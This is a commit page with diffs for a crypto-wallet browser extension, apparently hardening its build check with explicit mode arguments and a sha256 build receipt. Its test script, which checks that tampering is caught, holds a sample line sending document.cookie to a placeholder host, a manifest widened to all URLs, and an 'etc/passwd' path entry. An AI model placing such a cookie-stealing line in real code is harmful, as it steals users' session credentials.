build: make verify-build take an explicit expectation and a build receipt (closes #309)
All checks were successful
check / check (push) Successful in 30s
e2e / e2e-chrome (push) Successful in 1m10s
e2e / e2e-firefox (push) Successful in 22s

verify-build read its expectation from AUTISTMASK_DEBUG in its own environment
and the Makefile invoked it bare, so an operator with that variable exported
who ran the release target got an INSECURE debug build — every wallet it
creates uses the publicly committed test phrase — verified green, exit 0. It
also had no provenance: a 26-byte file containing the right marker string
passed, the content script and manifest.json were never inspected, and an
entire hand-written dist/ passed.

--expect release|debug and --receipt PATH are now both required, with no
defaults and nothing read from the environment. build.js records every file it
emits with its sha256 and writes the receipt; the Makefile mktemps it outside
the repo per invocation with a trap, and build.js refuses a receipt path inside
dist/. Verification runs three passes in a load-bearing order — receipt shape,
full dist/ walk, then per-file bytes — so an unwalkable subtree cannot make
files look absent. dist/constants-bundles.txt, which was an unsigned trust root
living inside the tree it vouched for, is gone.

What this proves is bounded and stated as such: dist/ is byte-for-byte the
output of the build.js run that just finished, within one make build
invocation. It proves nothing about the honesty of the source tree or build.js,
and nothing to anyone handed a dist/ from elsewhere — that is signing, #310.
The standalone make verify-build target is removed because its only input would
be dist/ itself, i.e. the artifact vouching for itself.

Verified: make check green, test-verify-build 39 cases (was 18), test-e2e 55/55
and test-e2e-firefox 8/8 with make build running uncached inside both images.
All four original bypasses now exit 1. Mutations: digests disabled fails
exactly 4 cases, dropping the dist/ walk fails exactly 8, restoring the ambient
fallback fails exactly 1.
This commit was merged in pull request #330.
This commit is contained in:
2026-08-20 14:24:55 +02:00
parent c8c2af0c6b
commit aea999db85
6 changed files with 1118 additions and 281 deletions

View File

@@ -1,4 +1,4 @@
.PHONY: bootstrap setup install test test-e2e test-e2e-firefox lint fmt fmt-check check check-censored docker hooks build build-debug verify-build vendor-blocklist clean dev
.PHONY: bootstrap setup install test test-e2e test-e2e-firefox lint fmt fmt-check check check-censored docker hooks build build-debug vendor-blocklist clean dev
# Standard targets are thin shims; the implementations live in script/
# per the scripts-to-rule-them-all pattern (see the Entrypoints section
@@ -47,10 +47,27 @@ docker:
hooks:
@script/install-precommit
# build.js writes a receipt of everything it emitted — every path, its sha256,
# and whether it is a bundle containing constants.js — and script/verify-build
# checks dist/ against that. The receipt is made here, fresh per invocation,
# outside the repo, and deleted again: a standing file inside dist/ would be
# rewritten by whoever rewrote dist/, which is what made the old check
# satisfiable by a hand-written tree.
#
# The expected mode is an explicit argument and AUTISTMASK_DEBUG is scrubbed
# from the verifier's environment. The script no longer reads it at all; env -u
# is here so that stays true of anything it calls. It is deliberately NOT
# scrubbed from the build itself: with AUTISTMASK_DEBUG=1 exported, this target
# compiles a debug bundle and then fails on it, loudly, rather than quietly
# handing back something other than the release build that was asked for.
build:
@echo "Building extension..."
@yarn run build 2>&1
@script/verify-build
@set -eu; \
receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \
trap 'rm -f "$$receipt"' EXIT INT TERM; \
AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
env -u AUTISTMASK_DEBUG script/verify-build --expect release \
--receipt "$$receipt"
@script/check-censored --require-dist
# Development-only build: enables the red DEBUG / INSECURE banner and makes
@@ -58,15 +75,14 @@ build:
# distribute the artifacts this produces.
build-debug:
@echo "Building extension (DEBUG)..."
@AUTISTMASK_DEBUG=1 yarn run build 2>&1
@AUTISTMASK_DEBUG=1 script/verify-build
@set -eu; \
receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \
trap 'rm -f "$$receipt"' EXIT INT TERM; \
AUTISTMASK_DEBUG=1 AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
env -u AUTISTMASK_DEBUG script/verify-build --expect debug \
--receipt "$$receipt"
@script/check-censored --require-dist
# Assert the compiled DEBUG state of the bundles already in dist/. Runs at
# the end of build and build-debug; separate target for re-running it alone.
verify-build:
@script/verify-build
# Refresh src/shared/phishingBlocklist.json from its hash-pinned upstream.
# Run deliberately, land the diff: the extension does no runtime fetching, so
# the shipped list is as fresh as the last vendoring run that was released.

View File

@@ -48,28 +48,57 @@ Load the extension:
### Debug Builds
`make build` always produces a release build: the build-time `DEBUG` constant is
`false`, so wallet creation uses real entropy and the red banner is off. To
produce a debug build instead, set `AUTISTMASK_DEBUG=1` in the environment:
`make build` never hands back a debug build. `make build-debug` is the only
target that produces one:
```bash
make build-debug # or: AUTISTMASK_DEBUG=1 make build
make build-debug
```
Only the exact value `1` enables it; any other value (including unset, empty, or
`true`) yields a release build, so a typo cannot accidentally ship the debug
behavior. The build prints which mode it used. See the
`AUTISTMASK_DEBUG=1` still selects the debug compile, and only the exact value
`1` does; any other value (including unset, empty, or `true`) yields a release
build, so a typo cannot accidentally ship the debug behavior. But it is the
compiler's input, not the verifier's: if it happens to be exported in the shell
that runs `make build`, that target compiles a debug bundle and then **fails**,
because it tells `script/verify-build` in so many words that it was supposed to
produce a release build. It used to be that the verifier read the same variable
out of its own environment, agreed with itself, and reported a debug artifact as
verified. The build prints which mode it used. See the
[DEBUG Mode Policy](#debug-mode-policy) for what the flag changes. **Never
distribute a debug build** — every wallet it creates gets the same publicly
known test recovery phrase.
Both builds end by running `script/verify-build`, which reads the compiled
Both targets end by running `script/verify-build`, which reads the compiled
`DEBUG` state back out of the emitted bundles and fails the build if it is not
the one that was asked for. The test suite cannot check this: it loads
`src/shared/constants.js` outside a bundle, so it only ever sees the fallback
value. The assertion is on the artifacts because that is where the property
lives.
### Build Receipts
`build.js` records every file it emits — path, sha256, and whether the file is
one of the bundles containing `src/shared/constants.js` — into a build receipt,
and `script/verify-build` checks `dist/` against that receipt: every recorded
file present with exactly the recorded bytes, every audited bundle carrying the
requested `DEBUG` marker, and nothing under `dist/` that the build did not
write. The `Makefile` creates the receipt path with `mktemp` per invocation,
outside the repo, and deletes it afterwards.
That is what ties the check to a build rather than to a directory. What it
establishes is narrow and worth stating exactly: `dist/` is byte for byte the
output of the `build.js` run that just finished, with nothing added, removed or
altered in between. It establishes nothing about whether the source tree or
`build.js` were honest, and it offers nothing to someone handed a `dist/` from
elsewhere — without the receipt from its own build there is no input to the
check. Verifiable provenance for a third party is signing, which this is not.
There is deliberately no target that re-verifies an existing `dist/` on its own.
The list of files to check has to come from the build that produced them; read
back out of `dist/`, it is the artifact vouching for itself, which is how a
26-byte file containing only the marker string, a hostile content script, and an
entire hand-written `dist/` all used to verify green.
## Entrypoints
This repository adheres to the
@@ -114,20 +143,26 @@ provide:
serves. Run deliberately, never as part of a build: the output is committed
and there is no runtime fetch, so the shipped list is as fresh as the last
vendoring run that was released
- `script/verify-build` — assert the compiled `DEBUG` state of the bundles in
`dist/`: every bundle containing `src/shared/constants.js` must have `DEBUG`
off, or on when `AUTISTMASK_DEBUG=1`. Run automatically at the end of
`make build` and `make build-debug`; fails loudly rather than passing if it
cannot determine a bundle's state. Not part of `make check`, which does not
depend on build artifacts existing.
- `script/verify-build --expect release|debug --receipt PATH` — assert that
`dist/` is exactly what the build that just ran emitted, and that the compiled
`DEBUG` state of the bundles in it is the one that was asked for. Both
arguments are required and neither has a default: the expected mode is stated
by the caller rather than read from `AUTISTMASK_DEBUG`, and the file list
comes from the build's receipt rather than from `dist/` (see
[Build Receipts](#build-receipts)). Run automatically at the end of
`make build` and `make build-debug`; fails loudly rather than passing whenever
it cannot determine something. Not part of `make check`, which does not depend
on build artifacts existing.
- `script/test-verify-build` — exercise every failure mode of
`script/verify-build` against a fixture tree in a temp dir, asserting the exit
status and the message of each. Part of `make check`; it reads no build
artifacts and writes nothing under `dist/`. The cases that depend on file
permissions cannot mean anything for a process that is not subject to them, so
the harness proves its runner against a mode-000 file before counting them,
dropping to an unprivileged user when run as root; if it cannot, it skips
those cases and says so in a banner rather than passing them.
status and the message of each, and read the `make build` and
`make build-debug` recipes back out of `make -n` to check that they pass the
mode as an argument on a scrubbed environment. Part of `make check`; it reads
no build artifacts and writes nothing under `dist/`. The cases that depend on
file permissions cannot mean anything for a process that is not subject to
them, so the harness proves its runner against a mode-000 file before counting
them, dropping to an unprivileged user when run as root; if it cannot, it
skips those cases and says so in a banner rather than passing them.
- `script/docker` — build the Docker image tagged via `script/projectname`
- `script/cibuild` — CI entrypoint: plain `docker build .`
- `script/precommit` — run by the git pre-commit hook; runs `script/check`
@@ -140,9 +175,10 @@ The Makefile shims to those. It also carries a few targets that have no
of `script/bootstrap`. Frozen so a stale `yarn.lock` fails instead of being
silently rewritten. Use `make setup` for a fresh clone.
- `make hooks` — shims to `script/install-precommit`
- `make build` — build the extension into `dist/chrome/` and `dist/firefox/`
- `make build-debug` — the same build with `AUTISTMASK_DEBUG=1` (see
[Debug Builds](#debug-builds))
- `make build` — build the extension into `dist/chrome/` and `dist/firefox/`,
then verify the result against the build's receipt as a release build
- `make build-debug` — the same build with `AUTISTMASK_DEBUG=1`, verified as a
debug build (see [Debug Builds](#debug-builds))
- `make clean` — remove `dist/`
- `make dev` — build in watch mode

32
TODO.md
View File

@@ -25,8 +25,8 @@ pre-1.0, working towards the 1.0.0 milestone. Tagged v0.1.0 on 2026-02-27. The
milestone is in flight on `next`; its `next` -> `main` PR is
[#190](https://git.eeqj.de/sneak/AutistMask/pulls/190). `make check` verified
green on `next` at `e9fa8be` on 2026-08-10, and `make build` produces
`dist/chrome/` and `dist/firefox/` with every bundle verified to have `DEBUG`
compiled off.
`dist/chrome/` and `dist/firefox/`, verified against the build's own receipt to
be exactly what that build emitted with `DEBUG` compiled off.
The backlog lives on the
[Gitea tracker](https://git.eeqj.de/sneak/AutistMask/issues), which is
@@ -44,6 +44,34 @@ but the review is broader than any of them.
# Completed Steps
- 2026-08-20: `make build` can no longer hand back a debug build, and
`script/verify-build` can no longer be satisfied by bytes the build did not
produce ([#309](https://git.eeqj.de/sneak/AutistMask/issues/309)). The
verifier used to compute its expectation from `AUTISTMASK_DEBUG` in its own
environment, so an operator with that exported who ran the release target got
a debug bundle — every wallet it creates carrying the publicly committed test
phrase — certified green at exit 0. The expected mode is now the required
argument `--expect release|debug`, with no default and nothing read from the
environment, and the `Makefile` scrubs the flag from the verifier while
deliberately leaving it reaching the compiler, so that shell fails the build
loudly instead of quietly getting something other than what it asked for.
Provenance was the other half: the check was a marker grep over a file list
read back out of `dist/`, so a 26-byte file containing only
`autistmask-build-debug=off` verified `ok`, `manifest.json` and the content
script that runs on every page were never read at all, and an entire
hand-written `dist/` passed. `build.js` now records every file it emits, with
its sha256 and whether it is one of the bundles containing `constants.js`,
into a receipt whose path the `Makefile` makes fresh per invocation outside
the repo and deletes afterwards; `dist/constants-bundles.txt` is gone, and
`dist/` is cleared before a build so it holds only what that build wrote. The
standalone `make verify-build` target went with it: re-verifying a `dist/`
from the `dist/` itself is the thing that was broken. What this establishes is
narrow and stated as such in README.md — `dist/` is byte for byte the output
of the `build.js` run that just finished — and it is not signing, which is
[#310](https://git.eeqj.de/sneak/AutistMask/issues/310).
`script/test-verify-build` grew from 18 cases to 39, including one per
demonstrated bypass and the `make -n` read-back that proves the recipes pass
the mode as an argument.
- 2026-08-20: A hostile ERC-20 symbol no longer renders as live HTML in the
popup ([#307](https://git.eeqj.de/sneak/AutistMask/issues/307)). A token
symbol is whatever the contract's `symbol()` returns, the block explorer

175
build.js
View File

@@ -1,5 +1,6 @@
const fs = require("fs");
const path = require("path");
const crypto = require("crypto");
const { execSync } = require("child_process");
const esbuild = require("esbuild");
@@ -8,12 +9,29 @@ const DIST_CHROME = path.join(DIST, "chrome");
const DIST_FIREFOX = path.join(DIST, "firefox");
const SRC = path.join(__dirname, "src");
// The module whose compiled DEBUG state script/verify-build asserts, and the
// manifest naming every emitted bundle that ends up containing it. The
// manifest is derived from esbuild's own dependency graph rather than from a
// hardcoded list, so it tracks the bundle layout instead of rotting with it.
// The module whose compiled DEBUG state script/verify-build asserts. Which
// bundles contain it is derived from esbuild's own dependency graph rather
// than from a hardcoded list, so it tracks the bundle layout instead of
// rotting with it.
const AUDITED_MODULE = "src/shared/constants.js";
const BUNDLE_MANIFEST = path.join(DIST, "constants-bundles.txt");
// The build receipt: every file this build emits, with its sha256 and whether
// it is one of the audited bundles. script/verify-build is handed this and
// checks dist/ against it, so the file list comes from the build that just ran
// rather than being read back out of the tree it is supposed to vouch for.
//
// The path is supplied by the caller, not chosen here, and the Makefile makes
// a fresh one per invocation outside the repo: that is what ties a receipt to
// one build rather than leaving a standing file anyone can write.
const RECEIPT_HEADER = "autistmask-build-receipt v1";
const RECEIPT_ENV = "AUTISTMASK_BUILD_RECEIPT";
// Every emitted path must be plainly nameable, because the receipt is a
// line-oriented text file consumed by a POSIX shell script and a path with a
// space or a newline in it could not be read back unambiguously. Nothing this
// build emits looks like that; if that ever changes, the build fails here
// rather than writing a receipt that cannot be checked.
const SAFE_EMITTED_PATH = /^dist\/[A-Za-z0-9._][A-Za-z0-9._/-]*$/;
function ensureDir(dir) {
fs.mkdirSync(dir, { recursive: true });
@@ -31,10 +49,10 @@ function repoRelative(p) {
// searching the minified text, it does not depend on what survived minification.
//
// The ".js" filter below is the only place that assumption lives:
// script/verify-build searches every file and symlink under dist/ for a
// marker, without filtering by extension, and hard-fails if it cannot walk the
// whole tree, so a bundle emitted under some other extension fails there as
// unlisted rather than escaping both checks at once.
// script/verify-build reads every file the receipt names, whatever its
// extension, and fails on any that carries a debug marker without being
// recorded as an audited bundle — so a bundle emitted under some other
// extension fails there rather than escaping both checks at once.
function outputsContainingAuditedModule(metafile) {
return Object.entries(metafile.outputs)
.filter(([outFile, info]) => {
@@ -46,6 +64,94 @@ function outputsContainingAuditedModule(metafile) {
.map(([outFile]) => repoRelative(outFile));
}
// Every file this build writes under dist/, recorded as it is written. This is
// the build's own account of what it emitted; it is never recovered by
// listing dist/, because a file that is in dist/ without this build having put
// it there is exactly what the receipt exists to expose.
const emittedFiles = [];
function recordEmitted(absPath) {
emittedFiles.push(absPath);
}
// Copying is the only other way a file reaches dist/; esbuild and the Tailwind
// CLI record their outputs where they are invoked.
function copyEmitted(src, dest) {
fs.copyFileSync(src, dest);
recordEmitted(dest);
}
function sha256File(absPath) {
return crypto
.createHash("sha256")
.update(fs.readFileSync(absPath))
.digest("hex");
}
// Write the receipt for the files this build emitted. Deliberately records no
// build mode: which mode was asked for is script/verify-build's argument, so
// build.js cannot vouch for build.js. All the receipt says is "these bytes,
// under these names, are what I wrote, and these ones bundle constants.js".
function writeReceipt(receiptPath, auditedBundles) {
const audited = new Set(auditedBundles);
const paths = [...new Set(emittedFiles.map(repoRelative))].sort();
for (const p of paths) {
if (!SAFE_EMITTED_PATH.test(p)) {
throw new Error(
`emitted path cannot be written to a build receipt: ${JSON.stringify(p)}`,
);
}
}
// A bundle esbuild reported but that nothing recorded as emitted means the
// two halves have drifted apart, and the receipt would then leave an
// audited bundle out. Fail rather than emit a short receipt.
for (const bundle of audited) {
if (!paths.includes(bundle)) {
throw new Error(
`${bundle} contains ${AUDITED_MODULE} but was not recorded as emitted`,
);
}
}
if (audited.size === 0) {
throw new Error(
`no emitted bundle contains ${AUDITED_MODULE}, which is never correct`,
);
}
const lines = [RECEIPT_HEADER, `root ${fs.realpathSync(__dirname)}`];
for (const p of paths) {
const flag = audited.has(p) ? "A" : "P";
lines.push(`file ${sha256File(path.join(__dirname, p))} ${flag} ${p}`);
}
fs.writeFileSync(receiptPath, lines.map((l) => `${l}\n`).join(""));
console.log(
`Build receipt: ${paths.length} emitted file(s), ${audited.size} ` +
`containing ${AUDITED_MODULE} (${receiptPath})`,
);
}
// Where the receipt goes, decided before anything is emitted so a build that
// cannot produce a checkable receipt fails before it writes any artifacts.
// Inside dist/ is refused: a receipt that lives in the tree it describes can
// be rewritten by whoever rewrites the tree, which is the hole this replaces.
function receiptTarget() {
const requested = process.env[RECEIPT_ENV];
if (!requested) {
return null;
}
const resolved = path.resolve(requested);
if (resolved === DIST || resolved.startsWith(DIST + path.sep)) {
throw new Error(
`${RECEIPT_ENV} points inside dist/ (${resolved}). The receipt ` +
`describes dist/ and must not live in it.`,
);
}
return resolved;
}
// DEBUG is a build-time flag, off unless explicitly requested. It is the only
// thing that makes the hardcoded test mnemonic reachable, so the opt-in must be
// exact: anything other than the literal "1" (unset, empty, "true", a typo)
@@ -87,6 +193,15 @@ function getBuildInfo() {
async function build() {
console.log("Building AutistMask extension...");
const receiptPath = receiptTarget();
if (!receiptPath) {
console.warn(
`WARNING: ${RECEIPT_ENV} is unset, so this build writes no ` +
`receipt and script/verify-build cannot verify what it ` +
`emitted. Build through make build / make build-debug.`,
);
}
const buildInfo = getBuildInfo();
console.log("Build info:", buildInfo);
@@ -108,19 +223,21 @@ async function build() {
};
// Emitted bundles that contain constants.js, accumulated across every
// esbuild run below and written out for script/verify-build.
// esbuild run below and recorded in the receipt for script/verify-build.
const auditedBundles = [];
// compile tailwind CSS
console.log("Compiling Tailwind CSS...");
const tailwindInput = path.join(SRC, "popup", "styles", "main.css");
const tailwindOutput = path.join(DIST, "styles.css");
// Start from an empty dist/, so what is there afterwards is what this
// build put there and nothing else. Leftovers from an earlier build are
// not covered by this build's receipt, and script/verify-build rejects
// any file it did not emit rather than ignoring it.
fs.rmSync(DIST, { recursive: true, force: true });
ensureDir(DIST);
// Drop any manifest from a previous build before emitting anything, so a
// build that never gets around to writing one cannot be verified against
// a stale list.
fs.rmSync(BUNDLE_MANIFEST, { force: true });
// The locally installed binary, not `npx` — npx silently fetches from the
// registry when the binary is absent, which is an unpinned network fetch
// in the middle of a build.
@@ -134,6 +251,7 @@ async function build() {
`"${tailwindBin}" -i "${tailwindInput}" -o "${tailwindOutput}" --minify`,
{ stdio: "inherit" },
);
recordEmitted(tailwindOutput);
// Every bundle goes through here, so metafile collection cannot be
// forgotten when a new entry point is added.
@@ -149,6 +267,7 @@ async function build() {
metafile: true,
define,
});
recordEmitted(outfile);
auditedBundles.push(...outputsContainingAuditedModule(result.metafile));
}
@@ -182,39 +301,39 @@ async function build() {
);
// copy popup HTML
fs.copyFileSync(
copyEmitted(
path.join(SRC, "popup", "index.html"),
path.join(distDir, "src", "popup", "index.html"),
);
// place compiled CSS next to popup HTML
fs.copyFileSync(
copyEmitted(
tailwindOutput,
path.join(distDir, "src", "popup", "styles.css"),
);
}
// copy manifests
fs.copyFileSync(
copyEmitted(
path.join(__dirname, "manifest", "chrome.json"),
path.join(DIST_CHROME, "manifest.json"),
);
fs.copyFileSync(
copyEmitted(
path.join(__dirname, "manifest", "firefox.json"),
path.join(DIST_FIREFOX, "manifest.json"),
);
// Written last so a build that died partway through leaves no manifest
// at all, which script/verify-build treats as a hard failure rather than
// as "nothing to check".
const manifest = [...new Set(auditedBundles)].sort();
fs.writeFileSync(BUNDLE_MANIFEST, manifest.map((p) => `${p}\n`).join(""));
console.log(
`Bundles containing ${AUDITED_MODULE}: ${manifest.length} ` +
`(listed in ${repoRelative(BUNDLE_MANIFEST)})`,
);
// Written last so a build that died partway through leaves no receipt at
// all, which script/verify-build treats as a hard failure rather than as
// "nothing to check".
if (receiptPath) {
writeReceipt(receiptPath, auditedBundles);
}
console.log("Build complete: dist/chrome/ and dist/firefox/");
}
build();
build().catch((err) => {
console.error(`Build failed: ${err && err.message ? err.message : err}`);
process.exit(1);
});

View File

@@ -3,11 +3,13 @@
# script/verify-build. Our own extension to scripts-to-rule-them-all, run
# from script/check so make check covers it.
#
# Why this exists: verify-build is the build-integrity guard, and three
# separate reviews of it each found a fresh vacuous pass — the grep exit-2
# conflation, the discarded find status, the line-delimited walk. Every one
# was caught by someone building a tree by hand, because nothing in make check
# could catch it. This is that hand battery, committed and automated.
# Why this exists: verify-build is the build-integrity guard, and four separate
# reviews of it each found a fresh vacuous pass — the grep exit-2 conflation,
# the discarded find status, the line-delimited walk, and then the two the
# receipt replaced: an expectation read out of the verifier's own environment,
# and a file list read back out of the tree it was supposed to vouch for. Every
# one was caught by someone building a tree by hand, because nothing in make
# check could catch it. This is that hand battery, committed and automated.
#
# Each case asserts the exit status AND a substring of the message. A guard
# that fails for the wrong reason (right status, different fault) is itself a
@@ -17,7 +19,14 @@
# the real script: verify-build takes its ROOT from dirname "$0"/.., so it
# operates on the fixture's dist/ and never reads or writes the repo's build
# output. The symlink rather than a copy is what makes a deliberate break in
# the real script fail here.
# the real script fail here. The fixture's receipt is written from the bytes
# the fixture actually holds, exactly as a build writes one from the bytes it
# emitted; a case that means "the build emitted this" regenerates it, and a
# case that means "something changed dist/ afterwards" does not.
#
# The sha256 command is selected here independently of the one verify-build
# picks. That is deliberate: a harness that reused the implementation's helper
# would agree with it even when it is wrong.
set -eu
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
@@ -26,6 +35,8 @@ VERIFY_BUILD="$ROOT/script/verify-build"
MARKER_ON="autistmask-build-debug=on"
MARKER_OFF="autistmask-build-debug=off"
RECEIPT_HEADER="autistmask-build-receipt v1"
NEWLINE='
'
@@ -41,6 +52,9 @@ UNPRIV=""
PERM_ENABLED=no
PERM_HOW=""
# The sha256 command, chosen by pick_sha256_tool.
SHA256_CMD=""
WORK=""
cleanup() {
@@ -54,6 +68,10 @@ trap cleanup EXIT INT TERM
WORK="$(mktemp -d "${TMPDIR:-/tmp}/autistmask-test-verify-build.XXXXXX")"
FIXTURE="$WORK/fixture"
# The build receipt for the fixture, kept outside the fixture's dist/ — and
# outside the fixture altogether — because that is where a real one lives.
RECEIPT="$WORK/receipt"
# verify-build mktemps its dist/ listing under TMPDIR. Pointing that inside
# our work dir keeps the run leaving no residue, and keeps it writable for the
# unprivileged user the permission cases run as.
@@ -65,15 +83,67 @@ chmod 755 "$WORK"
# --- fixture ---------------------------------------------------------------
# The emitted tree a build of this repo produces in miniature: audited bundles
# (A) that must carry a marker, and plain emitted files (P) that must not —
# including the content script, which runs on every page, and the manifest,
# neither of which the pre-receipt verifier read at all.
FIXTURE_FILES="A dist/chrome/src/popup/index.js
A dist/firefox/src/popup/index.js
P dist/chrome/src/content/index.js
P dist/chrome/manifest.json
P dist/styles.css"
FIXTURE_REAL=""
# A stand-in for an emitted bundle: some text plus one marker literal, which
# is all verify-build reads out of the real thing.
# is all verify-build reads out of the real thing beyond its digest.
write_bundle() {
printf 'var a=1;/* %s */\nvar b=2;\n' "$2" >"$1"
}
# A dist/ shaped like a real build: two listed bundles under different
# browsers, an unlisted subtree to make unwalkable, and unlisted files that
# carry no marker and must not be objected to.
# Digest of $1, taken with the harness's own sha256 command.
fixture_sha256() {
# Word-split on purpose: SHA256_CMD is a command with its arguments.
# shellcheck disable=SC2086
_fs_out="$($SHA256_CMD "$1")"
printf '%s' "${_fs_out%% *}"
}
# Write the fixture's receipt, with a substitutable header and root line so the
# cases can hand verify-build a receipt that is not one.
write_receipt_custom() {
_wrc_header="$1"
_wrc_root="$2"
chmod u+rw "$RECEIPT" 2>/dev/null || true
rm -f "$RECEIPT"
(
cd "$FIXTURE"
printf '%s\n' "$_wrc_header"
printf 'root %s\n' "$_wrc_root"
_saved_ifs="$IFS"
IFS="$NEWLINE"
for _entry in $FIXTURE_FILES; do
IFS="$_saved_ifs"
_flag="${_entry%% *}"
_path="${_entry#* }"
printf 'file %s %s %s\n' "$(fixture_sha256 "$_path")" \
"$_flag" "$_path"
IFS="$NEWLINE"
done
IFS="$_saved_ifs"
) >"$RECEIPT"
# Readable by the unprivileged user the permission cases run as, whatever
# umask this process has, until a case takes that away on purpose.
chmod 644 "$RECEIPT"
}
write_receipt() {
write_receipt_custom "$RECEIPT_HEADER" "$FIXTURE_REAL"
}
build_fixture() {
chmod -R u+rwX "$FIXTURE" 2>/dev/null || true
rm -rf "$FIXTURE"
@@ -87,13 +157,12 @@ build_fixture() {
write_bundle "$FIXTURE/dist/chrome/src/popup/index.js" "$MARKER_OFF"
write_bundle "$FIXTURE/dist/firefox/src/popup/index.js" "$MARKER_OFF"
printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/index.js"
printf '{"manifest_version":3}\n' >"$FIXTURE/dist/chrome/manifest.json"
printf 'body{color:#000}\n' >"$FIXTURE/dist/styles.css"
printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/content.js"
{
echo "dist/chrome/src/popup/index.js"
echo "dist/firefox/src/popup/index.js"
} >"$FIXTURE/dist/constants-bundles.txt"
FIXTURE_REAL="$(cd "$FIXTURE" && pwd -P)"
write_receipt
# Readable and traversable by the unprivileged user the permission cases
# run as, before those cases take that away again on purpose.
@@ -185,7 +254,51 @@ runuser|runuser -u nobody --"
# --- case runner ------------------------------------------------------------
# check_case <name> <perm:yes|no> <mode:release|debug> <status> <text> <setup>
# How verify-build is invoked for a case. The arguments are literal here rather
# than assembled from a string, so nothing about a case's invocation depends on
# word splitting. "envdebug" variants export AUTISTMASK_DEBUG=1 to prove the
# verifier ignores it — that is the whole of the ambient-environment defect.
run_verify() {
_rv_variant="$1"
_rv_perm="$2"
_rv_bin="$FIXTURE/script/verify-build"
case "$_rv_variant" in
release | release-envdebug)
set -- --expect release --receipt "$RECEIPT"
;;
debug)
set -- --expect debug --receipt "$RECEIPT"
;;
no-expect)
set -- --receipt "$RECEIPT"
;;
no-receipt)
set -- --expect release
;;
bad-expect)
set -- --expect maybe --receipt "$RECEIPT"
;;
unknown-arg)
set -- --expect release --receipt "$RECEIPT" --force
;;
receipt-in-dist)
set -- --expect release --receipt "$FIXTURE/dist/receipt.txt"
;;
*)
echo "test-verify-build: unknown variant $_rv_variant" >&2
exit 1
;;
esac
if [ "$_rv_perm" = yes ]; then
run_unpriv "$_rv_bin" "$@"
else
"$_rv_bin" "$@"
fi
}
# check_case <name> <perm:yes|no> <variant> <status> <text> <setup>
#
# Rebuilds the fixture, applies <setup> inside it, runs verify-build, and
# requires both the exit status and the message. <perm> marks a case that only
@@ -193,7 +306,7 @@ runuser|runuser -u nobody --"
check_case() {
_name="$1"
_perm="$2"
_mode="$3"
_variant="$3"
_want_status="$4"
_want_text="$5"
_setup="$6"
@@ -213,23 +326,22 @@ check_case() {
return 0
fi
if [ "$_mode" = debug ]; then
_debug=1
else
_debug=""
fi
# Exported rather than set as a command prefix: run_unpriv is a function,
# and an assignment prefixed to a function call is not portable.
AUTISTMASK_DEBUG="$_debug"
# Exported rather than set as a command prefix: run_verify may go through
# run_unpriv, which is a function, and an assignment prefixed to a function
# call is not portable. Every other case unsets it, so the environment this
# harness happens to run in cannot decide anything.
case "$_variant" in
*envdebug)
AUTISTMASK_DEBUG=1
export AUTISTMASK_DEBUG
;;
*)
unset AUTISTMASK_DEBUG || true
;;
esac
_status=0
if [ "$_perm" = yes ]; then
_out="$(run_unpriv "$FIXTURE/script/verify-build" 2>&1)" || _status=$?
else
_out="$("$FIXTURE/script/verify-build" 2>&1)" || _status=$?
fi
_out="$(run_verify "$_variant" "$_perm" 2>&1)" || _status=$?
_ok=yes
_why=""
@@ -272,7 +384,9 @@ check_case() {
# --- cases ------------------------------------------------------------------
#
# Each runs with the fixture as its working directory.
# Each runs with the fixture as its working directory. A case that regenerates
# the receipt is saying "this is what the build emitted"; one that does not is
# saying "the build emitted something else and this happened afterwards".
c_control() { :; }
@@ -299,38 +413,233 @@ c_dir_symlink() { ln -s src dist/chrome/link-to-dir; }
c_alias_symlink() { ln -s popup/index.js dist/chrome/src/aliased.js; }
c_manifest_missing() { rm dist/constants-bundles.txt; }
c_receipt_missing() { rm "$RECEIPT"; }
c_manifest_empty() { : >dist/constants-bundles.txt; }
c_receipt_empty() { : >"$RECEIPT"; }
c_manifest_unreadable() { chmod 000 dist/constants-bundles.txt; }
c_receipt_unreadable() { chmod 000 "$RECEIPT"; }
c_bundle_missing() { rm dist/chrome/src/popup/index.js; }
c_receipt_bad_header() {
write_receipt_custom "some other file entirely" "$FIXTURE_REAL"
}
c_bundle_empty() { : >dist/chrome/src/popup/index.js; }
c_receipt_other_tree() {
write_receipt_custom "$RECEIPT_HEADER" "/some/other/checkout"
}
c_bundle_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
c_receipt_path_with_space() {
write_receipt
printf 'file %s P dist/two words.js\n' \
"0000000000000000000000000000000000000000000000000000000000000000" \
>>"$RECEIPT"
}
c_unlisted_extension() {
c_receipt_path_outside_dist() {
write_receipt
printf 'file %s P etc/passwd\n' \
"0000000000000000000000000000000000000000000000000000000000000000" \
>>"$RECEIPT"
}
c_receipt_in_dist() { cp "$RECEIPT" dist/receipt.txt; }
c_emitted_missing() { rm dist/chrome/src/popup/index.js; }
c_emitted_empty() { : >dist/chrome/src/popup/index.js; }
c_emitted_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
c_extra_file_with_marker() {
cp dist/chrome/src/popup/index.js dist/chrome/src/popup/extra.mjs
}
c_no_marker() { printf 'var d=4;\n' >dist/chrome/src/popup/index.js; }
c_extra_file_no_marker() {
printf 'var e=5;\n' >dist/chrome/src/popup/vendor.js
}
# The four demonstrated bypasses of the pre-receipt verifier.
# A 26-byte file whose entire content is the marker string used to verify ok.
c_marker_only_stub() {
printf '%s' "$MARKER_OFF" >dist/chrome/src/popup/index.js
}
# The content script runs on every page the browser loads and was never read.
c_tampered_content_script() {
printf 'fetch("https://example.invalid/"+document.cookie);\n' \
>>dist/chrome/src/content/index.js
}
# The manifest decides permissions and CSP and was never read either.
c_tampered_manifest() {
printf '{"manifest_version":3,"host_permissions":["<all_urls>"]}\n' \
>dist/chrome/manifest.json
}
# A dist/ that has nothing to do with this build, carrying the right file
# names and the right marker, offered against this build's receipt.
c_foreign_dist() {
rm -rf dist
mkdir -p dist/chrome/src/popup dist/chrome/src/content dist/firefox/src/popup
write_bundle dist/chrome/src/popup/index.js "$MARKER_OFF"
write_bundle dist/firefox/src/popup/index.js "$MARKER_OFF"
